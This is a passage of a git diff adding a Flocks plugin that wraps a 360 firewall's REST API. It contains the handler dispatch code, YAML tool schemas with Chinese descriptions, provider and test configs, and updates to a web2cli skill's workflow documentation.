"id", "custom_name", "app_id", "ip_vrf_name"]) + else: + query = query_from_args(args, ["type", "period", "flow", "inf_type", "stat_type", "status_type", "page", "length", "user_type"]) + return api_result(get_client().get(path, query=query)) + + +def call_action_spec(action: str, args: dict[str, Any]) -> ToolResult: + method, path, builder = ACTION_SPECS[action] + reject_high_risk_mutation(method, path) + validate_documented_api(method, path) + body = builder(args) if builder is not None else optional_payload(args.get("body")) + return api_result(get_client().request(method, path, query=query_from_args(args, []), body=body)) + + +def fw_call_raw_readonly(args: dict[str, Any]) -> ToolResult: + path = normalize_api_path(require_text(args.get("path"), "path")) + validate_documented_api("GET", path) + query = args.get("query") + if query is not None and not isinstance(query, dict): + raise FwApiError("query must be an object") + return api_result(get_client().get(path, query=query)) + + +def fw_call_mutation(args: dict[str, Any]) -> ToolResult: + method = str(args.get("method", "")).upper() + path = normalize_api_path(require_text(args.get("path"), "path")) + if method not in {"POST", "PUT", "DELETE"}: + raise FwApiError("method must be POST, PUT, or DELETE") + reject_high_risk_mutation(method, path) + validate_documented_api(method, path) + query = args.get("query") + if query is not None and not isinstance(query, dict): + raise FwApiError("query must be an object") + return api_result(get_client().request(method, path, query=query, body=optional_payload(args.get("body")))) + + +def fw_call_api(args: dict[str, Any]) -> ToolResult: + method = str(args.get("method", "GET")).upper() + path = normalize_api_path(require_text(args.get("path"), "path")) + if method not in {"GET", "POST", "PUT", "DELETE"}: + raise FwApiError("method must be GET, POST, PUT, or DELETE") + if method == "GET": + return fw_call_raw_readonly({**args, "path": path}) + return fw_call_mutation({**args, "method": method, "path": path}) + + +def grouped_raw_call(args: dict[str, Any]) -> ToolResult: + method = str(args.get("method", "GET")).upper() + if method == "GET": + return fw_call_raw_readonly(args) + return fw_call_mutation(args) + + +_ACTION_MAP: dict[str, Callable[[dict[str, Any]], ToolResult]] = { + "fw_check_login": fw_check_login, + "fw_api_catalog": fw_api_catalog, + "fw_call_raw_readonly": fw_call_raw_readonly, + "fw_call_mutation": fw_call_mutation, + "fw_call_api": fw_call_api, + "fw_object_call": grouped_raw_call, + "fw_policy_call": grouped_raw_call, + "fw_network_call": grouped_raw_call, + "fw_vpn_bgp_call": grouped_raw_call, + "fw_auth_security_call": grouped_raw_call, + "fw_observability_call": grouped_raw_call, +} + +for _action_name in GET_ACTIONS: + _ACTION_MAP.setdefault(_action_name, lambda args, action=_action_name: call_get_action(action, args)) +for _action_name in ACTION_SPECS: + _ACTION_MAP.setdefault(_action_name, lambda args, action=_action_name: call_action_spec(action, args)) + + +async def unified_ops(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + del ctx + handler = _ACTION_MAP.get(action) + if handler is None: + available = ", ".join(sorted(_ACTION_MAP)) + return ToolResult(success=False, error=f"Unknown action: {action}. Available: {available}") + try: + return await asyncio.to_thread(handler, params) + except FwApiError as exc: + return ToolResult( + success=False, + error=str(exc), + metadata={"source": "360 FW", "version": PRODUCT_VERSION, "action": action}, + ) + except Exception as exc: + return ToolResult( + success=False, + error=f"Unexpected 360 FW error: {exc}", + metadata={"source": "360 FW", "version": PRODUCT_VERSION, "action": action}, + ) + + +async def _dispatch_group(ctx: ToolContext, group: str, action: str, **params: Any) -> ToolResult: + if action == "test": + test_action = CONNECTIVITY_TEST_ACTIONS.get(group) + if test_action: + return await unified_ops(ctx, action=test_action, **params) + return ToolResult(success=False, error=f"360 FW group {group} does not define a test probe") + if action not in GROUP_ACTIONS[group]: + available = ", ".join(sorted(GROUP_ACTIONS[group])) + return ToolResult(success=False, error=f"Unsupported {group} action: {action}. Available: {available}") + return await unified_ops(ctx, action=action, **params) + + +async def system(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "system", action, **params) + + +async def objects(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "objects", action, **params) + + +async def policy(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "policy", action, **params) + + +async def network(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "network", action, **params) + + +async def vpn_bgp(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "vpn_bgp", action, **params) + + +async def auth_security(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "auth_security", action, **params) + + +async def observability(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "observability", action, **params) + + +async def api_readonly(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "api_readonly", action, **params) + + +async def api_mutation(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + return await _dispatch_group(ctx, "api_mutation", action, **params) diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_mutation.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_mutation.yaml new file mode 100644 index 000000000..dbcda386f --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_mutation.yaml @@ -0,0 +1,38 @@ +name: 360_fw_api_mutation +description: > + 360 FW v5.5 官方 REST 变更调用工具。该工具通过 Flocks requires_confirmation + 触发确认；保存配置、改密码、清配置、重启、恢复、升级、许可写入、HA 写入、 + 全局开关写入、清会话/命中、ISP 修改、生产顺序移动、BGP 清路由等高风险接口会直接拒绝。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: REST 变更操作名称。 + enum: + - fw_call_mutation + - fw_call_api + - test + method: + type: string + enum: [GET, POST, PUT, DELETE] + description: HTTP 方法。 + path: + type: string + description: 已收录的 /API 相对路径，例如 /addressobj。 + query: + type: object + description: 可选查询参数，会编码为普通 URL query string。 + body: + type: string + description: POST、PUT 或 DELETE 调用使用的 JSON 请求体，传入对象或数组的 JSON 字符串。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: api_mutation diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_readonly.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_readonly.yaml new file mode 100644 index 000000000..a6e7fe846 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_api_readonly.yaml @@ -0,0 +1,30 @@ +name: 360_fw_api_readonly +description: > + 360 FW v5.5 官方 REST 只读调用工具。可用 fw_api_catalog 查看已收录接口， + 或用 fw_call_raw_readonly 调用已收录 GET 接口。 +category: custom +enabled: true +requires_confirmation: false +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: REST 只读操作名称。 + enum: + - fw_api_catalog + - fw_call_raw_readonly + - test + path: + type: string + description: 已收录的 /API 相对路径，例如 /sys_info。 + query: + type: object + description: 可选查询参数，会编码为普通 URL query string。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: api_readonly diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_auth_security.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_auth_security.yaml new file mode 100644 index 000000000..01496cb1a --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_auth_security.yaml @@ -0,0 +1,58 @@ +name: 360_fw_auth_security +description: > + 360 FW v5.5 认证源、管理员、用户组、syslog、联动和安全扩展对象工具。 + 写操作需要确认。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 认证和安全对象操作名称。 + enum: + - fw_user_list + - fw_user_create + - fw_user_delete + - fw_user_group_list + - fw_user_group_create + - fw_user_group_update + - fw_user_group_delete + - fw_user_obj_list + - fw_radius_list + - fw_radius_create + - fw_radius_update + - fw_radius_delete + - fw_ldap_list + - fw_ldap_create + - fw_ldap_delete + - fw_syslog_server_get + - fw_v0_0_1_syslog_server_get + - fw_v0_0_1_syslog_server_create + - fw_v0_0_1_syslog_server_delete + - fw_multiple_ids_create + - fw_multiple_ids_delete + - fw_multiple_domains_create + - fw_multiple_domains_delete + - fw_auth_security_call + - test + name: + type: string + method: + type: string + enum: [GET, POST, PUT, DELETE] + path: + type: string + query: + type: object + body: + type: string + description: 完整 JSON payload 字符串。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: auth_security diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_network.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_network.yaml new file mode 100644 index 000000000..604117df6 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_network.yaml @@ -0,0 +1,90 @@ +name: 360_fw_network +description: > + 360 FW v5.5 网络、路由、NAT、QoS、健康检查、策略路由、SD-WAN 和 GRE 工具。 + 写操作需要确认，生产顺序移动和高风险运行态动作由 handler 拦截。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 网络操作名称。 + enum: + - fw_interface_list + - fw_interface_get + - fw_vlan_list + - fw_vlan_create + - fw_vlan_update + - fw_vlan_delete + - fw_vxlan_list + - fw_static_route_list + - fw_static_route_create + - fw_static_route_delete + - fw_healthcheck_list + - fw_healthcheck_create + - fw_healthcheck_update + - fw_healthcheck_delete + - fw_link_health_check_list + - fw_link_health_check_create + - fw_link_health_check_update + - fw_link_health_check_delete + - fw_qos_line_list + - fw_qos_line_create + - fw_qos_line_update + - fw_qos_line_delete + - fw_qos_policy_list + - fw_qos_policy_create + - fw_qos_policy_delete + - fw_nat_pool_list + - fw_nat_pool_create + - fw_nat_pool_delete + - fw_nat_rule_src_list + - fw_nat_rule_dst_list + - fw_nat_rule_static_list + - fw_policy_route_list + - fw_policy_route_create + - fw_policy_route_delete + - fw_sdwan_policy_list + - fw_sdwan_policy_create + - fw_sdwan_policy_delete + - fw_sdwan_status_get + - fw_woc_policy_state_get + - fw_gre_list + - fw_gre_create + - fw_gre_update + - fw_gre_delete + - fw_tunnel_monitor_create + - fw_tunnel_monitor_delete + - fw_network_call + - test + name: + type: string + description: 对象名称。 + dst_ip: + type: string + description: 静态路由目的地址。 + nh_ip: + type: string + description: 下一跳地址。 + ip_vrf_name: + type: string + description: 虚拟路由器名称，默认 default。 + method: + type: string + enum: [GET, POST, PUT, DELETE] + path: + type: string + query: + type: object + body: + type: string + description: 完整 JSON payload 字符串。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: network diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_objects.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_objects.yaml new file mode 100644 index 000000000..865e0da36 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_objects.yaml @@ -0,0 +1,120 @@ +name: 360_fw_objects +description: > + 360 FW v5.5 对象工具。覆盖地址、服务、域名、DNS、时间、应用和安全对象等 + 文档中非跳过对象接口。写操作需要确认。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 对象操作名称。 + enum: + - fw_addressobj_list + - fw_addressobj_get + - fw_addressobj_create + - fw_addressobj_update + - fw_addressobj_delete + - fw_addressgroup_list + - fw_addressgroup_get + - fw_addressgroup_create + - fw_addressgroup_update + - fw_addressgroup_delete + - fw_serviceobj_list + - fw_serviceobj_get + - fw_serviceobj_create + - fw_serviceobj_update + - fw_serviceobj_delete + - fw_servicegroup_list + - fw_servicegroup_get + - fw_servicegroup_create + - fw_servicegroup_update + - fw_servicegroup_delete + - fw_predefined_service_list + - fw_dom_obj_list + - fw_dom_obj_create + - fw_dom_obj_delete + - fw_dns_custom_list + - fw_dns_custom_get + - fw_dns_custom_create + - fw_dns_custom_update + - fw_dns_custom_delete + - fw_dns_group_list + - fw_dns_group_get + - fw_dns_group_create + - fw_dns_group_update + - fw_dns_group_delete + - fw_timeabsobj_list + - fw_timeabsobj_get + - fw_timeabsobj_create + - fw_timeabsobj_delete + - fw_timecycobj_list + - fw_timecycobj_get + - fw_timecycobj_create + - fw_timecycobj_update + - fw_timecycobj_delete + - fw_app_obj_list + - fw_app_obj_get + - fw_app_obj_create + - fw_app_obj_update + - fw_app_obj_delete + - fw_app_group_list + - fw_app_group_get + - fw_app_group_create + - fw_app_group_delete + - fw_get_app_list + - fw_get_app_detail + - fw_blackList_group_list + - fw_blackList_group_create + - fw_blackList_group_delete + - fw_blackListGroup_rename + - fw_xml_av_profile_list + - fw_xml_av_profile_create + - fw_xml_av_profile_update + - fw_xml_av_profile_delete + - fw_signature_set_list + - fw_signature_set_create + - fw_signature_set_update + - fw_signature_set_delete + - fw_object_call + - test + name: + type: string + description: 对象名称。 + new_name: + type: string + description: 重命名后的对象名称。 + type: + type: integer + description: 地址对象、名单或时间对象类型。 + addr: + type: string + description: 地址对象 IP、网段或域名。 + desc: + type: string + description: 描述。 + sev_str: + type: string + description: 服务对象字符串，例如 TCP/1-65535:80。 + path: + type: string + description: fw_object_call 使用的 /API 相对路径。 + method: + type: string + enum: [GET, POST, PUT, DELETE] + description: fw_object_call 使用的 HTTP 方法。 + query: + type: object + description: 查询参数对象。 + body: + type: string + description: 写操作完整 JSON payload 字符串；不传时部分动作会按参数生成常用 payload。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: objects diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_observability.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_observability.yaml new file mode 100644 index 000000000..83bfeb031 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_observability.yaml @@ -0,0 +1,68 @@ +name: 360_fw_observability +description: > + 360 FW v5.5 监控观测工具。用于 CPU、内存、流量、连接、应用、URL、威胁、 + 用户、接口、QoS、隧道和 VXLAN 监控查询。 +category: custom +enabled: true +requires_confirmation: false +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 监控观测操作名称。 + enum: + - fw_cpu_state + - fw_memory_state + - fw_device_state + - fw_device_link_state + - fw_interface_flow_state + - fw_interface_flow_bar_state + - fw_user_flow_state + - fw_user_flow_bar_state + - fw_monitor_user + - fw_app_flow_state + - fw_app_flow_bar_state + - fw_url_state + - fw_url_bar_state + - fw_threaten_state + - fw_threaten_bar_state + - fw_get_app_detail_monitor + - fw_interface_monitor + - fw_interface_monitor_vlan + - fw_qos_monitor + - fw_tunnel_status_table + - fw_tunnel_status_line + - fw_vxlan_monitor + - fw_observability_call + - test + type: + type: integer + period: + type: integer + flow: + type: integer + inf_type: + type: integer + stat_type: + type: integer + status_type: + type: integer + page: + type: integer + length: + type: integer + method: + type: string + enum: [GET] + path: + type: string + query: + type: object + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: observability diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_policy.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_policy.yaml new file mode 100644 index 000000000..15581792c --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_policy.yaml @@ -0,0 +1,79 @@ +name: 360_fw_policy +description: > + 360 FW v5.5 策略工具。覆盖防火墙策略、策略组、应用/WEB/防护策略、 + 黑白名单、多域名和 VSYS 等文档中非跳过接口。写操作需要确认。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 策略操作名称。 + enum: + - fw_fwpolicy_list + - fw_fwpolicy_get + - fw_fwpolicy_create + - fw_fwpolicy_update + - fw_fwpolicy_delete + - fw_fwpolicy_state_update + - fw_fwpolicy_move + - fw_policy_group_list + - fw_policy_group_create + - fw_policy_group_delete + - fw_app_policy_list + - fw_app_policy_create + - fw_app_policy_delete + - fw_web_policy_list + - fw_web_policy_create + - fw_web_policy_delete + - fw_black_list_list + - fw_black_list_create + - fw_black_list_delete + - fw_white_list_list + - fw_white_list_create + - fw_white_list_delete + - fw_multiple_domains_create + - fw_multiple_domains_delete + - fw_multiple_ids_create + - fw_multiple_ids_delete + - fw_protect_policy_list + - fw_protect_policy_create + - fw_protect_policy_delete + - fw_protect_policy_enable_update + - fw_vsys_create + - fw_vsys_update + - fw_vsys_delete + - fw_policy_call + - test + name: + type: string + description: 策略或对象名称。 + id: + type: integer + description: 策略 ID。 + protocol: + type: integer + description: 协议族，通常 1 表示 IPv4。 + enable: + type: integer + enum: [0, 1] + description: 启用状态。 + method: + type: string + enum: [GET, POST, PUT, DELETE] + path: + type: string + query: + type: object + body: + type: string + description: 完整 JSON payload 字符串。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: policy diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_system.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_system.yaml new file mode 100644 index 000000000..b6e092998 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_system.yaml @@ -0,0 +1,48 @@ +name: 360_fw_system +description: > + 360 FW v5.5 系统与基础状态工具。用于登录检测、系统信息、接口/HA/授权/NTP/syslog + 等系统类只读查询。 +category: custom +enabled: true +requires_confirmation: false +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: 系统类操作名称。 + enum: + - fw_check_login + - fw_system_info_get + - fw_interface_list + - fw_interface_get + - fw_ha_config_get + - fw_ha_config_syn_get + - fw_ha_status_all_get + - fw_lte_config_get + - fw_lte_info_get + - fw_loopback_list + - fw_ntp_config_get + - fw_v0_0_1_ntp_config_get + - fw_ntp_key_get + - fw_syslog_server_get + - fw_v0_0_1_syslog_server_get + - fw_log_filter_get + - fw_fw_policy_config_get + - fw_license_config_get + - fw_virtual_route_list + - fw_diagnose_get + - test + name: + type: string + description: 接口名称等查询条件。 + query: + type: object + description: 附加查询参数。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: system diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_vpn_bgp.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_vpn_bgp.yaml new file mode 100644 index 000000000..df69fd0b1 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/360_fw_vpn_bgp.yaml @@ -0,0 +1,85 @@ +name: 360_fw_vpn_bgp +description: > + 360 FW v5.5 VPN、隧道状态与 BGP 工具。BGP 子接口需要先满足 bgp_info + 节点前置条件；现有生产 BGP 节点不应作为临时写入对象。 +category: custom +enabled: true +requires_confirmation: true +provider: 360_fw +inputSchema: + type: object + properties: + action: + type: string + description: VPN/BGP 操作名称。 + enum: + - fw_autoike_list + - fw_autoike_create + - fw_autoike_delete + - fw_phase2ike_create + - fw_phase2ike_delete + - fw_ipsec_policy_list + - fw_ipsec_policy_create + - fw_ipsec_policy_delete + - fw_ikesa_list + - fw_ipsecsa_list + - fw_tunnel_status_table + - fw_tunnel_status_line + - fw_bgp_info_get + - fw_bgp_info_create + - fw_bgp_info_delete + - fw_bgp_network_list + - fw_bgp_network_create + - fw_bgp_network_delete + - fw_bgp_peer_group_list + - fw_bgp_peer_group_create + - fw_bgp_peer_group_delete + - fw_bgp_neighbors_list + - fw_bgp_neighbors_create + - fw_bgp_neighbors_delete + - fw_bgp_access_list_list + - fw_bgp_access_list_create + - fw_bgp_access_list_delete + - fw_bgp_filter_list_list + - fw_bgp_filter_list_create + - fw_bgp_filter_list_delete + - fw_bgp_route_map_list + - fw_bgp_route_map_create + - fw_bgp_route_map_delete + - fw_bgp_map_list_list + - fw_bgp_map_list_create + - fw_bgp_map_list_delete + - fw_bgp_prefix_list_list + - fw_bgp_prefix_list_create + - fw_bgp_prefix_list_delete + - fw_bgp_prefix_policy_list + - fw_bgp_prefix_policy_create + - fw_bgp_prefix_policy_delete + - fw_bgp_import_check_update + - fw_bgp_reflector_switch_update + - fw_bgp_timer_update + - fw_bgp_route_reflector_create + - fw_bgp_route_reflector_delete + - fw_vpn_bgp_call + - test + name: + type: string + ip_vrf_name: + type: string + description: 虚拟路由器名称，默认 default。 + method: + type: string + enum: [GET, POST, PUT, DELETE] + path: + type: string + query: + type: object + body: + type: string + description: 完整 JSON payload 字符串。 + required: + - action +handler: + type: script + script_file: 360_fw.handler.py + function: vpn_bgp diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_provider.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_provider.yaml new file mode 100644 index 000000000..58770439b --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_provider.yaml @@ -0,0 +1,51 @@ +name: "360_fw" +vendor: "360" +service_id: "360_fw" +version: "5.5" +integration_type: device +description: > + 360 FW v5.5 device integration. This plugin adapts the A-series FW RESTful API + to Flocks device tools, including system status, objects, policies, network, + VPN/BGP, authentication, observability, and documented raw REST calls. +description_cn: > + 360 FW v5.5 防火墙设备接入。按 A 系列 FW RESTful API 文档适配，支持系统状态、 + 对象、策略、网络、VPN/BGP、认证、安全对象、监控观测以及官方 REST 接口调用。 +auth: + type: custom + flow: login_then_authorization_header + login_path: /API/login +credential_fields: + - key: base_url + label: 设备 API 地址 + storage: config + config_key: base_url + input_type: url + default: "https://YOUR_360_FW_HOST/API" + required: true + - key: username + label: 用户名 + storage: secret + config_key: username + secret_id: 360_fw_v5_5_username + input_type: text + required: true + - key: password + label: 密码 + storage: secret + config_key: password + secret_id: 360_fw_v5_5_password + input_type: password + required: true +defaults: + base_url: "https://YOUR_360_FW_HOST/API" + timeout: 30 + category: custom + product_version: "5.5" + fw_software_version: "V5.5" + version_software: "V5.5R605P000B20240625" + verify_ssl: false +notes: | + 登录使用 POST /API/login，请求体字段为 user/pwd。成功后将响应顶层 + authorization 字段作为后续请求的 Authorization header 原样传入，不能添加 + Bearer 前缀。变更类工具通过 Flocks 官方 requires_confirmation 机制触发确认； + 分析文档明确跳过的高风险接口由 handler 本地拒绝。 diff --git a/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_test.yaml b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_test.yaml new file mode 100644 index 000000000..3a9ca0e03 --- /dev/null +++ b/.flocks/flockshub/plugins/tools/device/360_fw_v5_5/_test.yaml @@ -0,0 +1,121 @@ +schema_version: 1 +provider: 360_fw + +connectivity: + tool: 360_fw_system + params: + action: fw_check_login + +fixtures: + 360_fw_system: + - label: "Check login" + tags: [smoke, auth] + params: + action: fw_check_login + assert: + success: true + - label: "Get system info" + tags: [smoke, system] + params: + action: fw_system_info_get + assert: + success: true + + 360_fw_objects: + - label: "List address objects" + tags: [smoke, objects] + params: + action: fw_addressobj_list + assert: + success: true + - label: "Create temporary address object" + tags: [objects, mutation] + params: + action: fw_addressobj_create + name: flocks_tmp_addr + addr: 198.18.0.10 + + 360_fw_policy: + - label: "List firewall policies" + tags: [smoke, policy] + params: + action: fw_fwpolicy_list + assert: + success: true + - label: "List policy groups" + tags: [policy] + params: + action: fw_policy_group_list + + 360_fw_network: + - label: "List interfaces" + tags: [smoke, network] + params: + action: fw_interface_list + assert: + success: true + - label: "List static routes" + tags: [network] + params: + action: fw_static_route_list + + 360_fw_vpn_bgp: + - label: "List IKE phase1" + tags: [smoke, vpn] + params: + action: fw_autoike_list + assert: + success: true + - label: "Get BGP default node" + tags: [bgp] + params: + action: fw_bgp_info_get + + 360_fw_auth_security: + - label: "List user groups" + tags: [smoke, auth] + params: + action: fw_user_group_list + assert: + success: true + - label: "List RADIUS servers" + tags: [auth] + params: + action: fw_radius_list + + 360_fw_observability: + - label: "Get CPU trend" + tags: [smoke, observability] + params: + action: fw_cpu_state + type: 1 + period: 1 + assert: + success: true + - label: "Get interface monitor" + tags: [observability] + params: + action: fw_interface_monitor + + 360_fw_api_readonly: + - label: "Show API catalog" + tags: [smoke, api] + params: + action: fw_api_catalog + assert: + success: true + - label: "Raw GET sys_info" + tags: [api] + params: + action: fw_call_raw_readonly + path: /sys_info + + 360_fw_api_mutation: + - label: "Unified GET sys_info" + tags: [api] + params: + action: fw_call_api + method: GET + path: /sys_info + assert: + success: true diff --git a/.flocks/plugins/skills/web2cli/SKILL.md b/.flocks/plugins/skills/web2cli/SKILL.md index b5fdc0fc4..9d6b58a9e 100644 --- a/.flocks/plugins/skills/web2cli/SKILL.md +++ b/.flocks/plugins/skills/web2cli/SKILL.md @@ -78,6 +78,24 @@ Task Progress: - [ ] Step 11: Summarize generated capability and close only the Web2CLI tab ``` +Copy this checklist and check off items as you complete them: + +```text +Task Progress: +- [ ] Step 1: Open or create the target browser tab +- [ ] Step 2: Wait for required manual login or authorization +- [ ] Step 3: Inject the Web2CLI capture hook and verify it is installed +- [ ] Step 4: Perform or ask the user to perform the target page operation +- [ ] Step 5: Export captured API data from window.__capturedRequests +- [ ] Step 6: Save browser auth state to auth-state.json +- [ ] Step 7: Analyze captured web APIs and remove unrelated traffic +- [ ] Step 8: Decide whether the final asset belongs in a skill or device plugin +- [ ] Step 9: Generate the target implementation, verify.json, and cli-reference.md +- [ ] Step 10: Validate the generated CLI or device tool with live auth data +- [ ] Step 11: Integrate the WebCLI capability into long-term skill/device assets +- [ ] Step 12: Summarize generated capability and close only the Web2CLI tab +``` + ### 1. 打开浏览器或创建 Tab ```bash @@ -274,23 +292,27 @@ jq '.[] | select(.method == "POST") | {url: .url, body: .requestBody}' "$CAPTURE ### 8. 判断最终产物落点 -生成任何 CLI、handler 或最终文件前，必须先判断本次 WebCLI 能力最终应该沉淀到哪里。不要先生成一个孤立 CLI，再在后续步骤才决定是否改成 device tool。 +生成任何 CLI、device tool 或最终文件前，必须先判断本次 WebCLI 能力最终应该沉淀到哪里。不要先生成一个孤立 CLI，再在后续步骤才决定是否改成 device tool。 根据用户目标和场景二选一： -- **通用网站、查询脚本、内部系统操作、非设备页接入**：最终主 CLI 放在 skill 的 `scripts/`，按 `references/cli-in-skill.md` 集成为长期维护的 skill / CLI 资产。 -- **安全设备接入、来自设备接入页、需要出现在设备页配置和调用**：最终主实现放在 `tools/device//` 下，按 `references/cli-in-device.md` 生成 `_provider.yaml`、工具 YAML 和 handler。CLI 只可作为可选调试/回归入口，不作为设备运行时主路径。 +- **通用网站、查询脚本、内部系统操作、非设备页接入**：最终主 CLI 放在 skill 的 `scripts/`，按 `references/skill-integration.md` 集成为长期维护的 skill / CLI 资产。 +- **安全设备接入、来自设备接入页、需要出现在设备页配置和调用**：最终主实现放在 `tools/device//` 下，按 `references/device-tool-requirements.md` 生成 device plugin，并按 `references/skill-integration.md` 补齐 skill 文档入口。CLI 只可作为可选调试/回归入口，不作为设备运行时主路径。 如果用户目标不清楚，先用 `question` 明确最终落点，再继续生成。 ### 9. 按目标落点生成可验证实现 +第 8 步确定的最终落点决定主实现形态：**通用 CLI** 和 **device plugin** 二选一。无论选择哪一种，都必须同时完成 skill 集成；区别在于 CLI 场景的 skill 包含 `scripts/` 主脚本，device 场景的 skill 只沉淀文档入口、浏览器经验、认证恢复和 device tool 使用说明，不在 skill 中放置独立 CLI 主实现。 + +两种场景共用 `$CAPTURE_ROOT/cli-reference.md`，它既可以记录 CLI 用法，也可以记录 device tool 的参数、能力、验证方式和回归方法。 + #### 9.1 通用 CLI / Skill 场景 -生成前必须读取并遵循： +选择通用 CLI 作为主实现时，生成前必须读取并遵循： - `$WEB2CLI_SKILL/references/cli-requirements.md` -- `$WEB2CLI_SKILL/references/cli-in-skill.md` +- `$WEB2CLI_SKILL/references/skill-integration.md` 基于抓包结果、认证状态和用户目标，生成 CLI、验证材料和接口文档。阶段性产物至少包含： @@ -300,15 +322,23 @@ jq '.[] | select(.method == "POST") | {url: .url, body: .requestBody}' "$CAPTURE 如果 `CAPTURE_NAME` 包含 `-` 等不能作为 Python 模块名的字符，生成 CLI 文件名时必须规范化为 `_`，例如 `test-domain_cli.py` 应写为 `test_domain_cli.py`。 -随后按 `references/cli-in-skill.md` 将主 CLI 集成到 skill 的 `scripts/`，不要把最终 CLI 保留成一次性抓包文件名。 +随后按 `references/skill-integration.md` 将主 CLI 集成到 skill 的 `scripts/`，并补齐 skill 级文档： + +- `$HOME/.flocks/plugins/skills/-use/scripts/_cli.py` +- `$HOME/.flocks/plugins/skills/-use/references/browser-workflow.md` +- `$HOME/.flocks/plugins/skills/-use/references/cli-reference.md` +- `$HOME/.flocks/plugins/skills/-use/SKILL.md` + +不要把最终 CLI 保留成一次性抓包文件名。 #### 9.2 安全设备接入场景 -生成前必须读取并遵循： +选择 device plugin 作为主实现时，生成前必须读取并遵循： -- `$WEB2CLI_SKILL/references/cli-in-device.md` +- `$WEB2CLI_SKILL/references/device-tool-requirements.md` +- `$WEB2CLI_SKILL/references/skill-integration.md` -基于抓包结果、认证状态和用户目标，生成 device 插件目录： +基于抓包结果、认证状态和用户目标，生成 device 插件目录、验证材料和接口文档。主实现只落到 device plugin： - `$HOME/.flocks/plugins/tools/device//_provider.yaml` - `$HOME/.flocks/plugins/tools/device//.yaml` @@ -316,14 +346,20 @@ jq '.[] | select(.method == "POST") | {url: .url, body: .requestBody}' "$CAPTURE - `$CAPTURE_ROOT/${CAPTURE_NAME}_verify.json` - `$CAPTURE_ROOT/cli-reference.md` -安全设备接入场景不要求先生成 `$CAPTURE_ROOT/_cli.py`。如确实需要 CLI 做调试或回归，可生成可选 CLI，但必须明确它不是设备运行时主路径，且不要和 handler 独立演进出两套认证/请求逻辑。 +同时创建或更新对应产品 skill，但该 skill 不应包含 `scripts/` 主 CLI： + +- `$HOME/.flocks/plugins/skills/-use/references/browser-workflow.md` +- `$HOME/.flocks/plugins/skills/-use/references/cli-reference.md` +- `$HOME/.flocks/plugins/skills/-use/SKILL.md` + +device 场景不要求先生成 